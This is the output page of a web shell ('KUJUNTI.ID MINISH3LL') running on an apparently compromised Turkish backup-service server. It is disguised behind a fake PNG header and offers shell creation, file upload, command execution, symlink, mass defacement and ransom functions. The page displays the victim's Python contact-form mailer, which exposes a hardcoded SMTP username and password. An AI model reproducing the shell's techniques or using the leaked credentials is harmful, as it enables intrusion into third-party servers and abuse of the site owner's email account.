\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekle24/BackupShield/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekle24/BackupShield/send_email_standalone.py


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import smtplib
import ssl
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import datetime

# Doğrudan SMTP bilgileri (kodun içine gömülü)
SMTP_HOST = 'mail.hepsibulutta.com'
SMTP_PORT = 587
SMTP_USER = 'yedekle24@hepsibulutta.com'
SMTP_PASSWORD = 'ooka5asd2mas2el1ai0eeC222'
FROM_EMAIL = 'yedekle24@hepsibulutta.com'
TO_EMAIL = 'gokhana@ofisbulutta.com'

def send_direct_email(name, email, subject, message):
    """
    Doğrudan SMTP bilgileriyle e-posta gönderme
    """
    try:
        # E-posta oluştur
        msg = MIMEMultipart()
        msg['From'] = FROM_EMAIL
        msg['To'] = TO_EMAIL
        msg['Subject'] = f"YedekleDB24 İletişim Formu: {subject}"
        
        # İsteğe bağlı Reply-To alanı
        if email:
            msg['Reply-To'] = f"{name} <{email}>"
        
        # E-posta içeriği
        current_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        body = f"""
İletişim Formu Mesajı:

Ad Soyad: {name}
E-posta: {email}
Konu: {subject}

Mesaj:
{message}

---
Bu e-posta YedekleDB24 iletişim formundan gönderilmiştir.
Tarih/Saat: {current_time}
        """
        msg.attach(MIMEText(body, 'plain'))
        
        # SSL bağlantısı oluştur
        context = ssl.create_default_context()
        
        # SMTP sunucusuna bağlan
        print(f"SMTP sunucusuna bağlanılıyor: {SMTP_HOST}:{SMTP_PORT}...")
        with smtplib.SMTP(SMTP_HOST, SMTP_PORT, timeout=30) as server:
            print("Sunucuya bağlandı")
            server.ehlo()
            print("EHLO başarılı")
            
            server.starttls(context=context)
            print("TLS başlatıldı")
            
            server.ehlo()  # TLS sonrası tekrar tanıtma
            print("İkinci EHLO başarılı")
            
            server.login(SMTP_USER, SMTP_PASSWORD)
            print("Giriş başarılı")
            
            print("E-posta gönderiliyor...")
            server.send_message(msg)
            print(f"E-posta başarıyla gönderildi: {TO_EMAIL}")
            
            return True, ""
            
    except Exception as e:
        error_message = str(e)
        print(f"E-posta gönderimi sırasında hata: {error_message}")
        import traceback
        traceback.print_exc()
        return False, error_message

if __name__ == "__main__":
    # Test mesajı
    print("Test e-postası gönderiliyor...")
    test_name = "Test Kullanıcı"
    test_email = "test@example.com"
    test_subject = "Test Mesajı"
    test_message = "Bu bir test mesajıdır. İletişim formu testi."
    
    success, error = send_direct_email(test_name, test_email, test_subject, test_message)
    
    if success:
        print("\nE-posta başarıyla gönderildi!")
    else:
        print(f"\nE-posta gönderilirken hata oluştu: {error}")

© KUJUNTI.ID